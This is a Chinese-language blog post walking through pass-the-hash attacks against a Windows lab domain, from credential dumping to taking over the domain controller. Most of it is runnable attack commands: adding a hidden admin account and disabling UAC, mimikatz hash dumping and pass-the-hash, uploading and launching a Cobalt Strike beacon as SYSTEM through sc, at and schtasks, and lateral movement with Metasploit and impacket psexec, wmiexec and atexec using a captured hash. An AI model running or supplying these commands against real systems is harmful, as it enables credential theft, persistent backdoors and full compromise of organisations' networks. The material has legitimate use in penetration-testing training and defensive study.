哈希传递

前言

早期SMB协议在网络上传输明文口令。后来出现LAN Manager Challeng/Response 验证机制,简称LM,它是如此简单以至于很容易就被破解。微软提了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2和Kerberos验证体系。但还是有一些协议在认证方面使用NTLM协议,如SMB协议(负责文件的操作相关的动作)在认证方面仍然使用了NTLM协议。

原理

哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术,比如NTLM Hash、 LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。

NTLM验证靠HASH值,Kerberos靠票据(TICKET),渗透方式如下:

  • 1.获得一台域主机的权限
  • 2.Dump内存获得用户hash
  • 3.通过pass the hash尝试登录其他主机
  • 4.继续搜集hash并尝试远程登录
  • 5.直到获得域管理员账户hash,登录域控,最终成功控制整个域

工作组环境

工作组环境需要目标具有相同的密码才能进行,同时需要用户为本地管理员用户。条件苛刻,但是可以利用这个方法进行权限维持。

net user test 1qaz@WSX /add
net localgroup administrators test /add
#关闭UAC 
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

#导出 test1 的NTLM hash 后使用smb服务进行远程控制。

msf下的psexec模块攻击配置如下

域环境

当域内的用户想要访问域中的某个服务时,输入用户名和密码访问,本机kerberos服务会向KDC的AS认证服务发送一个AS-REQ认证请求。该请求包中包含: 请求的用户名客户端主机名、加密类型Authenticator(用户NTLM Hash加密的时间戳)以及一些其他信息

在AS-REQ阶段,是用用户密码Hash加密的Authenticator,所以也就造成了hash传递。我们只需要获取域用户Hash,同时目标机器开放smb服务,就可以进行Hash传递攻击。

实验环境:

域控:win2012R2 :10.211.55.30

域内主机:win7:10.211.55.32

使用Mimikatz进行PTH

首先,攻击者在 Windows 7 上面上传 mimikatz,并用 mimikatz 抓取 Hash:

privilege::debug
sekurlsa::logonpasswords


然后,在 Windows 7 上用 mimikatz 将获取的 Administrator 的 Hash 添加进 lsass 进程中:

privilege::debug
sekurlsa::pth /user:administrator /domain:hacker.lab /ntlm:8e52f9105638482a922e13b05a4e4fe9

#简化
mimikatz.exe privilege::debug "sekurlsa::pth /domain:hacker.lab /user:administrator /ntlm:8e52f9105638482a922e13b05a4e4fe9 /run:cmd.exe"

使用hash传递查看域控文件目录

成功,此时会自动弹出一个新的 cmd 窗口,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器 DC 的 c 盘目录:

dir \\10.211.55.30\c$

后续上线CS或者MSF,生成木马后上传

#sc命令创建计划任务
copy beacon.exe \\10.211.55.30\c$
#sc命令远程创建名为test的服务
sc \\10.211.55.30 create test binpath= "c:\beacon.exe"
#远程查询名为test的服务
sc \\10.211.55.30 query test
#远程启动名为test的服务
sc \\10.211.55.30 start test
#远程删除名为test的服务
sc \\10.211.55.30 delete test


#at命令(计划任务) at命令在早期的Windows系统中⽀持,⽽新版本Windows已经⽤schtasks命令取代at命令了。
#查看⽬标系统时间
net time \\10.211.55.30 
#将本⽬录下的指定⽂件复制到⽬标系统中
copy vps.exe \10.211.55.30\c$
#使⽤at创建计划任务
at \10.211.55.30 14:37 C:\vps.exe
#清除at记录
at \10.211.55.30 做业ID /delete
#使⽤at命令执⾏,将执⾏结果写⼊本地⽂本⽂件,再使⽤type命令查看该⽂件的内容
at \10.211.55.30 17:00:00 cmd.exe /c "ipconfig > C:/1.txt "
#查看⽣成的1.txt⽂件
type \10.211.55.30\C$\1.txt

#schtasks命令(计划任务)
#在⽬标主机10.211.55.30上创建⼀个名为test的计划任务,启动权限为system,启动时间为每隔⼀⼩时启动⼀次
schtasks /create /s 10.211.55.30 /tn test /sc HOURLY /mo 1 /tr c:\beacon.exe /ru system /f /U administrator /P 1qaz@WSX
其他启动时间参数:
 /sc HOURLY 每⼩时启动⼀次
 /sc onlogon ⽤户登录时启动
 /sc onstart 系统启动时启动
 /sc onidle 系统空闲时启动
#查询该test计划任务
schtasks /query /s 10.211.55.7 /U administrator -P 1qaz@WSX | findstr test
#启动该test计划任务
schtasks /run /s 10.211.55.7 /i /tn "test" /U administrator -P 1qaz@WSX
#删除该test计划任务
schtasks /delete /s 10.211.55.7 /tn "test" /f /U administrator -P 1qaz@WSX

使用hash传递获取域控RDP权限

抓取hash无法破解的情况下,如果使用hash远程登录RDP,需要开启"Restricted Admin Mode",在Windows8.1和Windows Server 2012R2上默认开启。开启远程登陆的情况下:

对应命令行开启Restricted Admin mode的命令如下:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

查看是否已开启 DisableRestrictedAdmin

#REG_DWORD 0x0 存在就是开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"

使用hash登录域控RDP

privilege::debug
sekurlsa::pth /user:administrator /domain:hacker.lab /ntlm:8e52f9105638482a922e13b05a4e4fe9 "/run:mstsc.exe /restricted admin"

没实验成功

使用PsExec进行hash传递获取域控权限

MSF下的PsExec

使用代理开启msf后,直接搜索PsExec,然后use一下,接着设置一些基本参数,目标IP,用户名,密码和域。 密码字段我们直接传递hash值,也是没问题的。执行之后,就会返回我们提供的用户的meterpreter会话。依赖445端口,开启了445端⼝和admin$共享。

proxychains msfconsole
use exploit/windows/smb/psexec
set smbdomain hacker.lab
set rhosts 10.211.55.30
set smbuser administrator
set smbpass 00000000000000000000000000000000:8e52f9105638482a922e13b05a4e4fe9
run

psexec.exe和psexec.py

要利⽤psexec.exe远程连接,需要⽬标主机开启445端⼝和admin$共享。因为psexec要往C:\Windows⽬录下写⼆进制⽂件。对于impacket下的psexec.py,除了admin$共享外,还可以使⽤C$共享。

#psexec64.exe 
psexec64.exe \\10.211.55.30 -u hacker\administrator -p 1qaz@WSX cmd.exe

#使⽤明⽂密码
./psexec.py administrator:1qaz@wsx@10.211.55.30
#使⽤密码哈希
./psexec.py administrator@10.211.55.30 -hashes 00000000000000000000000000000000:8e52f9105638482a922e13b05a4e4fe9

使用wmiexec进行hash传递获取域控权限

wmiexec依赖开启135和445、admin$

impacket中的wmiexec.py

#使⽤明⽂密码
python3 wmiexec.py administrator:1qaz@wsx@10.211.55.30
#使⽤密码哈希
python3 wmiexec.py administrator@10.211.55.30 -hashes 00000000000000000000000000000000:8e52f9105638482a922e13b05a4e4fe9

wmiexec.vbs

wmiexec.vbs脚本通过VBS调⽤wmic来模拟psexec的功能。wmiexec.vbs可以在远程系统中执⾏命令并进⾏回显,获得远程主机的半交互式的shell。对于运⾏时间⽐较⻓的命令,例如ping、systeminfo,需要添加 -wait 10000或者更⻓时间的参数。在运⾏ nc 等不需要输⼊结果但需要⼀直运⾏的进程时,如果使⽤ -persist参数,就不需要使⽤ taskkill 命令来远程结束进程了。

cscript //nologo wmiexec.vbs /shell 10.211.55.30 administrator 1qaz@wsx

wmiexec.exe

https://github.com/maaaaz/impacket-examples-windows

wmiexec.exe -hashes 00000000000000000000000000000000:8e52f9105638482a922e13b05a4e4fe9 administrator@10.211.55.30

使用atexec进行hash传递获取域控权限

impacket中的atexec.py脚本,就是利⽤定时任务获取权限,该脚本的利⽤需要开启ipc$共享。这个脚本仅⼯作Windows>=Vista的系统上。该脚本能够通过计划任务服务来在⽬标主机上实现命令执⾏,并返回命令执⾏后的输出结果 。

#使⽤明⽂密码
python3 atexec.py administrator:1qaz@WSX@10.211.55.30 whoami

#使⽤密码哈希
python3 atexec.py administrator@10.211.55.30 whoami -hashes 00000000000000000000000000000000:8e52f9105638482a922e13b05a4e4fe9

posted @ 2022-08-12 11:03  九天揽月丶  阅读(1000)  评论(0编辑  收藏  举报